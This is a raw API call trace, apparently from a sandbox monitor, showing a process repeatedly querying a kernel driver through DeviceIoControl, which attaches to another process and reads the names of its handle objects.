PsLookupProcessByProcessId (in: ProcessId=0x184, Process=0xfffff88005473558 | out: Process=0xfffff88005473558) returned 0x0 [0136.151] PsAcquireProcessExitSynchronization () returned 0x0 [0136.151] KeStackAttachProcess (in: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880054735d0 | out: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880054735d0) [0136.151] ObReferenceObjectByHandle (in: Handle=0x2ec, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005473548, HandleInformation=0x0 | out: Object=0xfffff88005473548*=0xfffff8a001a63b80, HandleInformation=0x0) returned 0x0 [0136.151] KeUnstackDetachProcess (ApcState=0xfffff880054735d0) [0136.151] PsReleaseProcessExitSynchronization () returned 0x2 [0136.151] ObfDereferenceObject (Object=0xfffffa80018ba540) returned 0x138 [0136.151] ObQueryNameString (in: Object=0xfffff8a001a63b80, ObjectNameInfo=0xfffffa80019fe044, Length=0x800, ReturnLength=0xfffff88005473550 | out: ObjectNameInfo=0xfffffa80019fe044, ReturnLength=0xfffff88005473550) returned 0x0 [0136.151] ObfDereferenceObject (Object=0xfffff8a001a63b80) returned 0x1 [0136.151] IofCompleteRequest (Irp=0xfffffa8003b8e9e0, PriorityBoost=0) [0136.151] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x1ec15e0 | out: hHeap=0x330000) returned 1 [0136.151] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x808) returned 0x1ec15e0 [0136.151] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1ec15e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1ec15e0*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0136.151] PsLookupProcessByProcessId (in: ProcessId=0x184, Process=0xfffff88005473558 | out: Process=0xfffff88005473558) returned 0x0 [0136.151] PsAcquireProcessExitSynchronization () returned 0x0 [0136.151] KeStackAttachProcess (in: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880054735d0 | out: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880054735d0) [0136.151] ObReferenceObjectByHandle (in: Handle=0x2f0, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005473548, HandleInformation=0x0 | out: Object=0xfffff88005473548*=0xfffff8a00179dd10, HandleInformation=0x0) returned 0x0 [0136.151] KeUnstackDetachProcess (ApcState=0xfffff880054735d0) [0136.151] PsReleaseProcessExitSynchronization () returned 0x2 [0136.151] ObfDereferenceObject (Object=0xfffffa80018ba540) returned 0x138 [0136.151] ObQueryNameString (in: Object=0xfffff8a00179dd10, ObjectNameInfo=0xfffffa8001a01044, Length=0x800, ReturnLength=0xfffff88005473550 | out: ObjectNameInfo=0xfffffa8001a01044, ReturnLength=0xfffff88005473550) returned 0x0 [0136.151] ObfDereferenceObject (Object=0xfffff8a00179dd10) returned 0x1 [0136.151] IofCompleteRequest (Irp=0xfffffa8003b8e9e0, PriorityBoost=0) [0136.151] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x1ec15e0 | out: hHeap=0x330000) returned 1 [0136.151] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x808) returned 0x1ec15e0 [0136.151] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1ec15e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1ec15e0*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0136.151] PsLookupProcessByProcessId (in: ProcessId=0x184, Process=0xfffff88005473558 | out: Process=0xfffff88005473558) returned 0x0 [0136.151] PsAcquireProcessExitSynchronization () returned 0x0 [0136.151] KeStackAttachProcess (in: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880054735d0 | out: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880054735d0) [0136.151] ObReferenceObjectByHandle (in: Handle=0x2f4, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005473548, HandleInformation=0x0 | out: Object=0xfffff88005473548*=0xfffff8a001f44bf0, HandleInformation=0x0) returned 0x0 [0136.151] KeUnstackDetachProcess (ApcState=0xfffff880054735d0) [0136.151] PsReleaseProcessExitSynchronization () returned 0x2 [0136.151] ObfDereferenceObject (Object=0xfffffa80018ba540) returned 0x138 [0136.151] ObQueryNameString (in: Object=0xfffff8a001f44bf0, ObjectNameInfo=0xfffffa8001a08044, Length=0x800, ReturnLength=0xfffff88005473550 | out: ObjectNameInfo=0xfffffa8001a08044, ReturnLength=0xfffff88005473550) returned 0x0 [0136.151] ObfDereferenceObject (Object=0xfffff8a001f44bf0) returned 0x1 [0136.151] IofCompleteRequest (Irp=0xfffffa8003b8e9e0, PriorityBoost=0) [0136.152] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x1ec15e0 | out: hHeap=0x330000) returned 1 [0136.152] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x808) returned 0x1ec15e0 [0136.152] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1ec15e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1ec15e0*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0136.152] PsLookupProcessByProcessId (in: ProcessId=0x184, Process=0xfffff88005473558 | out: Process=0xfffff88005473558) returned 0x0 [0136.152] PsAcquireProcessExitSynchronization () returned 0x0 [0136.152] KeStackAttachProcess (in: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880054735d0 | out: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880054735d0) [0136.152] ObReferenceObjectByHandle (in: Handle=0x2f8, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005473548, HandleInformation=0x0 | out: Object=0xfffff88005473548*=0xfffff8a0012483d0, HandleInformation=0x0) returned 0x0 [0136.152] KeUnstackDetachProcess (ApcState=0xfffff880054735d0) [0136.152] PsReleaseProcessExitSynchronization () returned 0x2 [0136.152] ObfDereferenceObject (Object=0xfffffa80018ba540) returned 0x138 [0136.152] ObQueryNameString (in: Object=0xfffff8a0012483d0, ObjectNameInfo=0xfffffa8001a09044, Length=0x800, ReturnLength=0xfffff88005473550 | out: ObjectNameInfo=0xfffffa8001a09044, ReturnLength=0xfffff88005473550) returned 0x0 [0136.152] ObfDereferenceObject (Object=0xfffff8a0012483d0) returned 0x1 [0136.152] IofCompleteRequest (Irp=0xfffffa8003b8e9e0, PriorityBoost=0) [0136.152] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x1ec15e0 | out: hHeap=0x330000) returned 1 [0136.152] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x808) returned 0x1ec15e0 [0136.152] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1ec15e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1ec15e0*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0136.152] PsLookupProcessByProcessId (in: ProcessId=0x184, Process=0xfffff88005473558 | out: Process=0xfffff88005473558) returned 0x0 [0136.152] PsAcquireProcessExitSynchronization () returned 0x0 [0136.152] KeStackAttachProcess (in: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880054735d0 | out: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880054735d0) [0136.152] ObReferenceObjectByHandle (in: Handle=0x310, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005473548, HandleInformation=0x0 | out: Object=0xfffff88005473548*=0xfffff8a001f537a0, HandleInformation=0x0) returned 0x0 [0136.152] KeUnstackDetachProcess (ApcState=0xfffff880054735d0) [0136.152] PsReleaseProcessExitSynchronization () returned 0x2 [0136.152] ObfDereferenceObject (Object=0xfffffa80018ba540) returned 0x138 [0136.152] ObQueryNameString (in: Object=0xfffff8a001f537a0, ObjectNameInfo=0xfffffa8001a0c044, Length=0x800, ReturnLength=0xfffff88005473550 | out: ObjectNameInfo=0xfffffa8001a0c044, ReturnLength=0xfffff88005473550) returned 0x0 [0136.152] ObfDereferenceObject (Object=0xfffff8a001f537a0) returned 0x1 [0136.152] IofCompleteRequest (Irp=0xfffffa8003b8e9e0, PriorityBoost=0) [0136.152] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x1ec15e0 | out: hHeap=0x330000) returned 1 [0136.152] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x808) returned 0x1ec15e0 [0136.152] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1ec15e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1ec15e0*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0136.152] PsLookupProcessByProcessId (in: ProcessId=0x184, Process=0xfffff88005473558 | out: Process=0xfffff88005473558) returned 0x0 [0136.152] PsAcquireProcessExitSynchronization () returned 0x0 [0136.152] KeStackAttachProcess (in: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880054735d0 | out: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880054735d0) [0136.152] ObReferenceObjectByHandle (in: Handle=0x314, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005473548, HandleInformation=0x0 | out: Object=0xfffff88005473548*=0xfffff8a001ef47c0, HandleInformation=0x0) returned 0x0 [0136.152] KeUnstackDetachProcess (ApcState=0xfffff880054735d0) [0136.153] PsReleaseProcessExitSynchronization () returned 0x2 [0136.153] ObfDereferenceObject (Object=0xfffffa80018ba540) returned 0x138 [0136.153] ObQueryNameString (in: Object=0xfffff8a001ef47c0, ObjectNameInfo=0xfffffa8001a0e044, Length=0x800, ReturnLength=0xfffff88005473550 | out: ObjectNameInfo=0xfffffa8001a0e044, ReturnLength=0xfffff88005473550) returned 0x0 [0136.153] ObfDereferenceObject (Object=0xfffff8a001ef47c0) returned 0x1 [0136.153] IofCompleteRequest (Irp=0xfffffa8003b8e9e0, PriorityBoost=0) [0136.153] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x1ec15e0 | out: hHeap=0x330000) returned 1 [0136.153] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x808) returned 0x1ec15e0 [0136.153] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1ec15e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1ec15e0*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0136.153] PsLookupProcessByProcessId (in: ProcessId=0x184, Process=0xfffff88005473558 | out: Process=0xfffff88005473558) returned 0x0 [0136.153] PsAcquireProcessExitSynchronization () returned 0x0 [0136.153] KeStackAttachProcess (in: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880054735d0 | out: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880054735d0) [0136.153] ObReferenceObjectByHandle (in: Handle=0x31c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005473548, HandleInformation=0x0 | out: Object=0xfffff88005473548*=0xfffff8a001cb9860, HandleInformation=0x0) returned 0x0 [0136.153] KeUnstackDetachProcess (ApcState=0xfffff880054735d0) [0136.153] PsReleaseProcessExitSynchronization () returned 0x2 [0136.153] ObfDereferenceObject (Object=0xfffffa80018ba540) returned 0x138 [0136.153] ObQueryNameString (in: Object=0xfffff8a001cb9860, ObjectNameInfo=0xfffffa8001a10044, Length=0x800, ReturnLength=0xfffff88005473550 | out: ObjectNameInfo=0xfffffa8001a10044, ReturnLength=0xfffff88005473550) returned 0x0 [0136.153] ObfDereferenceObject (Object=0xfffff8a001cb9860) returned 0x1 [0136.153] IofCompleteRequest (Irp=0xfffffa8003b8e9e0, PriorityBoost=0) [0136.153] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x1ec15e0 | out: hHeap=0x330000) returned 1 [0136.153] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x808) returned 0x1ec15e0 [0136.153] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1ec15e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1ec15e0*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0136.153] PsLookupProcessByProcessId (in: ProcessId=0x184, Process=0xfffff88005473558 | out: Process=0xfffff88005473558) returned 0x0 [0136.153] PsAcquireProcessExitSynchronization () returned 0x0 [0136.153] KeStackAttachProcess (in: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880054735d0 | out: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880054735d0) [0136.153] ObReferenceObjectByHandle (in: Handle=0x334, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005473548, HandleInformation=0x0 | out: Object=0xfffff88005473548*=0xfffff8a001f35850, HandleInformation=0x0) returned 0x0 [0136.153] KeUnstackDetachProcess (ApcState=0xfffff880054735d0) [0136.153] PsReleaseProcessExitSynchronization () returned 0x2 [0136.153] ObfDereferenceObject (Object=0xfffffa80018ba540) returned 0x138 [0136.153] ObQueryNameString (in: Object=0xfffff8a001f35850, ObjectNameInfo=0xfffffa8001fc2044, Length=0x800, ReturnLength=0xfffff88005473550 | out: ObjectNameInfo=0xfffffa8001fc2044, ReturnLength=0xfffff88005473550) returned 0x0 [0136.153] ObfDereferenceObject (Object=0xfffff8a001f35850) returned 0x1 [0136.153] IofCompleteRequest (Irp=0xfffffa8003b8e9e0, PriorityBoost=0) [0136.153] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x1ec15e0 | out: hHeap=0x330000) returned 1 [0136.153] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x808) returned 0x1ec15e0 [0136.153] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1ec15e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1ec15e0*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0136.153] PsLookupProcessByProcessId (in: ProcessId=0x184, Process=0xfffff88005473558 | out: Process=0xfffff88005473558) returned 0x0 [0136.153] PsAcquireProcessExitSynchronization () returned 0x0 [0136.154] KeStackAttachProcess (in: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880054735d0 | out: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880054735d0) [0136.154] ObReferenceObjectByHandle (in: Handle=0x344, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005473548, HandleInformation=0x0 | out: Object=0xfffff88005473548*=0xfffff8a001ef4af0, HandleInformation=0x0) returned 0x0 [0136.154] KeUnstackDetachProcess (ApcState=0xfffff880054735d0) [0136.154] PsReleaseProcessExitSynchronization () returned 0x2 [0136.154] ObfDereferenceObject (Object=0xfffffa80018ba540) returned 0x138 [0136.154] ObQueryNameString (in: Object=0xfffff8a001ef4af0, ObjectNameInfo=0xfffffa8001fc3044, Length=0x800, ReturnLength=0xfffff88005473550 | out: ObjectNameInfo=0xfffffa8001fc3044, ReturnLength=0xfffff88005473550) returned 0x0 [0136.154] ObfDereferenceObject (Object=0xfffff8a001ef4af0) returned 0x1 [0136.154] IofCompleteRequest (Irp=0xfffffa8003b8e9e0, PriorityBoost=0) [0136.154] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x1ec15e0 | out: hHeap=0x330000) returned 1 [0136.154] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x808) returned 0x1ec15e0 [0136.154] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1ec15e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1ec15e0*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0136.154] PsLookupProcessByProcessId (in: ProcessId=0x184, Process=0xfffff88005473558 | out: Process=0xfffff88005473558) returned 0x0 [0136.154] PsAcquireProcessExitSynchronization () returned 0x0 [0136.154] KeStackAttachProcess (in: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880054735d0 | out: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880054735d0) [0136.154] ObReferenceObjectByHandle (in: Handle=0x354, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005473548, HandleInformation=0x0 | out: Object=0xfffff88005473548*=0xfffff8a001bd1f00, HandleInformation=0x0) returned 0x0 [0136.154] KeUnstackDetachProcess (ApcState=0xfffff880054735d0) [0136.154] PsReleaseProcessExitSynchronization () returned 0x2 [0136.154] ObfDereferenceObject (Object=0xfffffa80018ba540) returned 0x138 [0136.154] ObQueryNameString (in: Object=0xfffff8a001bd1f00, ObjectNameInfo=0xfffffa8001fdd044, Length=0x800, ReturnLength=0xfffff88005473550 | out: ObjectNameInfo=0xfffffa8001fdd044, ReturnLength=0xfffff88005473550) returned 0x0 [0136.154] ObfDereferenceObject (Object=0xfffff8a001bd1f00) returned 0x1 [0136.154] IofCompleteRequest (Irp=0xfffffa8003b8e9e0, PriorityBoost=0) [0136.154] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x1ec15e0 | out: hHeap=0x330000) returned 1 [0136.154] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x808) returned 0x1ec15e0 [0136.154] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1ec15e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1ec15e0*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0136.154] PsLookupProcessByProcessId (in: ProcessId=0x184, Process=0xfffff88005473558 | out: Process=0xfffff88005473558) returned 0x0 [0136.154] PsAcquireProcessExitSynchronization () returned 0x0 [0136.154] KeStackAttachProcess (in: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880054735d0 | out: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880054735d0) [0136.154] ObReferenceObjectByHandle (in: Handle=0x364, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005473548, HandleInformation=0x0 | out: Object=0xfffff88005473548*=0xfffff8a001f6c680, HandleInformation=0x0) returned 0x0 [0136.154] KeUnstackDetachProcess (ApcState=0xfffff880054735d0) [0136.154] PsReleaseProcessExitSynchronization () returned 0x2 [0136.154] ObfDereferenceObject (Object=0xfffffa80018ba540) returned 0x138 [0136.154] ObQueryNameString (in: Object=0xfffff8a001f6c680, ObjectNameInfo=0xfffffa8001fe0044, Length=0x800, ReturnLength=0xfffff88005473550 | out: ObjectNameInfo=0xfffffa8001fe0044, ReturnLength=0xfffff88005473550) returned 0x0 [0136.154] ObfDereferenceObject (Object=0xfffff8a001f6c680) returned 0x1 [0136.154] IofCompleteRequest (Irp=0xfffffa8003b8e9e0, PriorityBoost=0) [0136.155] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x1ec15e0 | out: hHeap=0x330000) returned 1 [0136.155] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x808) returned 0x1ec15e0 [0136.155] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1ec15e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1ec15e0*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0136.155] PsLookupProcessByProcessId (in: ProcessId=0x184, Process=0xfffff88005473558 | out: Process=0xfffff88005473558) returned 0x0 [0136.155] PsAcquireProcessExitSynchronization () returned 0x0 [0136.155] KeStackAttachProcess (in: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880054735d0 | out: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880054735d0) [0136.155] ObReferenceObjectByHandle (in: Handle=0x368, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005473548, HandleInformation=0x0 | out: Object=0xfffff88005473548*=0xfffff8a001f649f0, HandleInformation=0x0) returned 0x0 [0136.155] KeUnstackDetachProcess (ApcState=0xfffff880054735d0) [0136.155] PsReleaseProcessExitSynchronization () returned 0x2 [0136.155] ObfDereferenceObject (Object=0xfffffa80018ba540) returned 0x138 [0136.155] ObQueryNameString (in: Object=0xfffff8a001f649f0, ObjectNameInfo=0xfffffa8001fed044, Length=0x800, ReturnLength=0xfffff88005473550 | out: ObjectNameInfo=0xfffffa8001fed044, ReturnLength=0xfffff88005473550) returned 0x0 [0136.155] ObfDereferenceObject (Object=0xfffff8a001f649f0) returned 0x1 [0136.155] IofCompleteRequest (Irp=0xfffffa8003b8e9e0, PriorityBoost=0) [0136.155] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x1ec15e0 | out: hHeap=0x330000) returned 1 [0136.155] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x808) returned 0x1ec15e0 [0136.155] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1ec15e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1ec15e0*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0136.155] PsLookupProcessByProcessId (in: ProcessId=0x184, Process=0xfffff88005473558 | out: Process=0xfffff88005473558) returned 0x0 [0136.155] PsAcquireProcessExitSynchronization () returned 0x0 [0136.155] KeStackAttachProcess (in: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880054735d0 | out: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880054735d0) [0136.155] ObReferenceObjectByHandle (in: Handle=0x378, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005473548, HandleInformation=0x0 | out: Object=0xfffff88005473548*=0xfffff8a001bc9330, HandleInformation=0x0) returned 0x0 [0136.155] KeUnstackDetachProcess (ApcState=0xfffff880054735d0) [0136.155] PsReleaseProcessExitSynchronization () returned 0x2 [0136.155] ObfDereferenceObject (Object=0xfffffa80018ba540) returned 0x138 [0136.155] ObQueryNameString (in: Object=0xfffff8a001bc9330, ObjectNameInfo=0xfffffa8001ffa044, Length=0x800, ReturnLength=0xfffff88005473550 | out: ObjectNameInfo=0xfffffa8001ffa044, ReturnLength=0xfffff88005473550) returned 0x0 [0136.155] ObfDereferenceObject (Object=0xfffff8a001bc9330) returned 0x1 [0136.155] IofCompleteRequest (Irp=0xfffffa8003b8e9e0, PriorityBoost=0) [0136.155] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x1ec15e0 | out: hHeap=0x330000) returned 1 [0136.155] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x808) returned 0x1ec15e0 [0136.155] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1ec15e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1ec15e0*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0136.155] PsLookupProcessByProcessId (in: ProcessId=0x184, Process=0xfffff88005473558 | out: Process=0xfffff88005473558) returned 0x0 [0136.155] PsAcquireProcessExitSynchronization () returned 0x0 [0136.155] KeStackAttachProcess (in: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880054735d0 | out: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880054735d0) [0136.155] ObReferenceObjectByHandle (in: Handle=0x37c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005473548, HandleInformation=0x0 | out: Object=0xfffff88005473548*=0xfffff8a001efaef0, HandleInformation=0x0) returned 0x0 [0136.155] KeUnstackDetachProcess (ApcState=0xfffff880054735d0) [0136.155] PsReleaseProcessExitSynchronization () returned 0x2 [0136.155] ObfDereferenceObject (Object=0xfffffa80018ba540) returned 0x138 [0136.156] ObQueryNameString (in: Object=0xfffff8a001efaef0, ObjectNameInfo=0xfffffa8001ffb044, Length=0x800, ReturnLength=0xfffff88005473550 | out: ObjectNameInfo=0xfffffa8001ffb044, ReturnLength=0xfffff88005473550) returned 0x0 [0136.156] ObfDereferenceObject (Object=0xfffff8a001efaef0) returned 0x1 [0136.156] IofCompleteRequest (Irp=0xfffffa8003b8e9e0, PriorityBoost=0) [0136.156] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x1ec15e0 | out: hHeap=0x330000) returned 1 [0136.156] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x808) returned 0x1ec15e0 [0136.156] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1ec15e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1ec15e0*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0136.156] PsLookupProcessByProcessId (in: ProcessId=0x184, Process=0xfffff88005473558 | out: Process=0xfffff88005473558) returned 0x0 [0136.156] PsAcquireProcessExitSynchronization () returned 0x0 [0136.156] KeStackAttachProcess (in: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880054735d0 | out: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880054735d0) [0136.156] ObReferenceObjectByHandle (in: Handle=0x38c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005473548, HandleInformation=0x0 | out: Object=0xfffff88005473548*=0xfffff8a001fa27a0, HandleInformation=0x0) returned 0x0 [0136.156] KeUnstackDetachProcess (ApcState=0xfffff880054735d0) [0136.156] PsReleaseProcessExitSynchronization () returned 0x2 [0136.156] ObfDereferenceObject (Object=0xfffffa80018ba540) returned 0x138 [0136.156] ObQueryNameString (in: Object=0xfffff8a001fa27a0, ObjectNameInfo=0xfffffa800240c744, Length=0x800, ReturnLength=0xfffff88005473550 | out: ObjectNameInfo=0xfffffa800240c744, ReturnLength=0xfffff88005473550) returned 0x0 [0136.156] ObfDereferenceObject (Object=0xfffff8a001fa27a0) returned 0x1 [0136.156] IofCompleteRequest (Irp=0xfffffa8003b8e9e0, PriorityBoost=0) [0136.156] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x1ec15e0 | out: hHeap=0x330000) returned 1 [0136.156] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x808) returned 0x1ec15e0 [0136.156] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1ec15e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1ec15e0*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0136.156] PsLookupProcessByProcessId (in: ProcessId=0x184, Process=0xfffff88005473558 | out: Process=0xfffff88005473558) returned 0x0 [0136.156] PsAcquireProcessExitSynchronization () returned 0x0 [0136.156] KeStackAttachProcess (in: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880054735d0 | out: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880054735d0) [0136.156] ObReferenceObjectByHandle (in: Handle=0x39c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005473548, HandleInformation=0x0 | out: Object=0xfffff88005473548*=0xfffff8a001f4e6d0, HandleInformation=0x0) returned 0x0 [0136.156] KeUnstackDetachProcess 